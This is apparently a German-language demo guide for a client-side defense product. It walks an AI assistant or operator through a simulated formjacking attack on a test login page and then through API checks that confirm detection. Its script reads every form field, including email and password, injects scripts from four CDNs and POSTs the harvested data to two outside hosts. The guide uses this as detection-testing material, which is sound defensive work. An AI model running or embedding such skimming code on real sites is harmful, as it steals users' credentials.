- Startseite
- Clientseitige Abwehr
- Demo
- Phase 2 — Angriff
Phase 2 — Angriff
Phase 2 generiert simulierten Angriffsdatenverkehr gegen die geschützte Anwendung und bestätigt, dass CSD diesen erkannt hat. Phase 1 muss abgeschlossen sein — alle Prüfungen in Schritt 7 müssen BESTANDEN haben — bevor Sie fortfahren.
Schritt 8: Angriffssimulation
Abschnitt betitelt „Schritt 8: Angriffssimulation“Nachdem die Infrastruktur überprüft wurde (alle Prüfungen in Phase 1, Schritt 7 BESTANDEN), führen Sie die Angriffssimulationsskripte aus, um CSD-Erkennungen zu generieren. Die Skripte sind im Leitfaden zur Auslösung der Erkennung und in der Angriffsskript-Bibliothek definiert.
KI-automatisierte Ausführung
Abschnitt betitelt „KI-automatisierte Ausführung“KI-Assistenten mit Browser-Automatisierungswerkzeugen führen die Angriffssimulation programmgesteuert aus:
- Navigation mit initScript — navigieren Sie zunächst zu
about:blank, um einen sauberen Dokumentkontext sicherzustellen (vermeidet veraltete initScripts aus vorherigen Navigationen), dannnavigate_pagezuhttp://$F5XC_DOMAINNAME/#/loginmit eineminitScript, das die nativen FunktionensetInterval,clearInterval,fetchundconsole.logspeichert, bevor zone.js diese patcht, auf die Anmeldedatenfelder wartet, Anmeldedaten über den nativenHTMLInputElement.prototype.value-Setter befüllt und das kombinierte Erkennungsskript sofort inline ausführt. Verwenden Sie das nachfolgende initScript wörtlich. - Willkommensbanner schließen —
press_keymitEscape, um das Willkommensbanner zu schließen. Bei nachfolgenden Besuchen erscheint das Banner möglicherweise nicht (Cookies wurden gespeichert). Der Cookie-Zustimmungsdialog wird automatisch durch die Escape-Taste geschlossen. - Auf Abschluss warten — warten Sie 10 Sekunden, bis alle CDN-Skript-Lade-/Fehler-Callbacks und fetch-Promise-Auflösungen abgeschlossen sind.
- Beweise erfassen —
list_console_messagesprüfen auf[CSD Demo] Simulation completeund CDN-Ladeergebnisse;list_network_requestsgefiltert nachscript- undfetch-Typen, um HTTP-Statuscodes zu verifizieren (200/201für Erfolg,pendingfür zurückgehaltene Anfragen)
Phase 2 initScript (wörtlich — genau so verwenden wie geschrieben):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);Manuelle Ausführung
Abschnitt betitelt „Manuelle Ausführung“Operatoren ohne Browser-Automatisierungswerkzeuge führen die Schritte manuell durch:
- Navigieren Sie zur Anmeldeseite der geschützten Anwendung:
http://xF5XC_DOMAINNAMEx/#/login - Testanmeldedaten eingeben — geben Sie
test@example.comim E-Mail-Feld undP@ssword123im Passwortfeld ein (das Formular nicht absenden) - DevTools öffnen — drücken Sie F12 und wechseln Sie zum Konsolen-Tab
- Das kombinierte Erkennungsskript ausführen — fügen Sie das Skript aus Auslösung der Erkennung — Das kombinierte Simulationsskript ausführen in die Konsole ein und drücken Sie Enter
- Konsolenausgabe überprüfen — bestätigen Sie, dass die phasenweise
[CSD Demo]-Ausgabe folgendes zeigt: Formularfeld-Erfassung, Skriptinjektion von 4 CDN-Domänen und Datenexfiltration zu 2 Endpunkten
Was ausgelöst wird
Abschnitt betitelt „Was ausgelöst wird“| Signal | Verhalten | Erkennung |
|---|---|---|
| Formularfeld-Erfassung | Liest E-Mail- und Passwort-Eingabewerte | Skripte, die sensible Formularfelder lesen — als hohes Risiko eingestuft |
| Skriptinjektion | Injiziert 4 <script>-Tags von cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io | Bis zu 4 neue Drittanbieter-Skriptdomänen erkannt (CDN-Verfügbarkeit variiert) |
| Datenexfiltration | Sendet erfasste Daten via fetch an www.httpbin.org und jsonplaceholder.typicode.com | Netzwerkaufrufe zu externen Domänen |
Beweise
Abschnitt betitelt „Beweise“Der KI-Assistent sollte folgendes berichten. Bei KI-automatisierter Ausführung werden Beweise programmgesteuert über list_console_messages erfasst (die Polling-Funktion des initScripts protokolliert Ergebnisse in der Konsole). Bei manueller Ausführung liest der Operator die Konsolenausgabe des Browsers.
| Prüfung | Erwartet | Status |
|---|---|---|
| Anmeldeseite geladen | 200 OK unter http://$F5XC_DOMAINNAME/#/login | BESTANDEN / FEHLGESCHLAGEN |
| Konsolenskript ausgeführt | [CSD Demo] Simulation complete in der Konsolenausgabe | BESTANDEN / FEHLGESCHLAGEN |
| Felder erfasst | Anzahl > 0 in der Konsolenausgabe | BESTANDEN |
| Skripte injiziert | 1–4 CDN-Domänen in der Konsolenausgabe (einige können mit Ressourcenfehlern fehlschlagen) | BESTANDEN, wenn mindestens eine CDN-Domäne erscheint |
| Exfiltrationskanäle | 2 fetch-POST-Versuche in der Konsolenausgabe | BESTANDEN |
Schritt 9: Erkennungsverifizierung über API
Abschnitt betitelt „Schritt 9: Erkennungsverifizierung über API“Fragen Sie die CSD-API-Endpunkte ab, um zu bestätigen, dass Erkennungen aufgezeichnet wurden. Verwenden Sie die Polling-Schleife: fragen Sie /detected_domains alle 60 Sekunden ab; fahren Sie fort, sobald DET-3 besteht. Wenn DET-3 nach 10 Minuten nicht besteht, prüfen Sie die CSD-Konfiguration. Wenn DET-3 nach 30 Minuten nicht besteht, stoppen Sie und melden Sie dies dem Operator. Diese Endpunkte sind in der API-Referenz dokumentiert und verwenden dieselbe Authentifizierung und denselben Namespace wie die vorherigen Schritte.
Erkannte Skripte
Abschnitt betitelt „Erkannte Skripte“Abfrage nach Skripten, die in den letzten 24 Stunden erkannt wurden:
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| Feld | Erwartet | Status |
|---|---|---|
total | > 0 (Skripte erkannt) | BESTANDEN wenn > 0; AUSSTEHEND wenn 0, aber /detected_domains Exfil-Domänen zeigt |
| Skriptnamen | Enthält CDN-Domänen (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) in script_name | BESTANDEN wenn injizierte CDN-Domänen erscheinen |
Erkannte Domänen
Abschnitt betitelt „Erkannte Domänen“curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| Feld | Erwartet | Status |
|---|---|---|
total_domains | > 0 | BESTANDEN wenn > 0 |
| Domänenliste | Enthält CDN- und Exfil-Domänen | BESTANDEN wenn erwartete Domänen erscheinen |
Formularfelder
Abschnitt betitelt „Formularfelder“NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| Feld | Erwartet | Status |
|---|---|---|
total | > 0 | BESTANDEN wenn > 0; AUSSTEHEND wenn 0, aber DET-3 besteht |
name | Enthält email, password | BESTANDEN wenn sensible Felder erscheinen |
sensitivity | Sensitive für E-Mail-/Passwortfelder | BESTANDEN wenn ML korrekt klassifiziert hat |
Phase 2 — Zusammenfassung der Beweise
Abschnitt betitelt „Phase 2 — Zusammenfassung der Beweise“Nach allen Erkennungsabfragen wird der abschließende Erkennungsstatus dargestellt:
| Test-ID | Prüfung | Status |
|---|---|---|
| DET-1 | Skripte erkannt (Endpunkt /scripts) | BESTANDEN wenn > 0; AUSSTEHEND wenn leer, aber DET-3 besteht |
| DET-2 | CDN-Domänen erkannt | BESTANDEN / FEHLGESCHLAGEN |
| DET-3 | Exfil-Domänen erkannt (/detected_domains) | Primärindikator — BESTANDEN wenn www.httpbin.org oder jsonplaceholder.typicode.com erscheinen |
| DET-4 | Formularfelder erkannt (Endpunkt /formFields) | BESTANDEN wenn > 0; AUSSTEHEND wenn leer, aber DET-3 besteht |
Phase 2 abgeschlossen. Fahren Sie mit Phase 3 — Abwehr fort, um Abwehrregeln anzuwenden und zu überprüfen, ob Domänen blockiert werden.